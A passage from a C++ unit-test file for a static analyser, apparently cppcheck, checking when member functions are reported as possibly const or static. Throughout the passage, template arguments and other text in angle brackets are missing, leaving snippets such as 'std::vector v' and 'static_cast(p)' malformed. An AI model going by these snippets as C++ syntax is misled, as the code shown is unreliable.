ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } 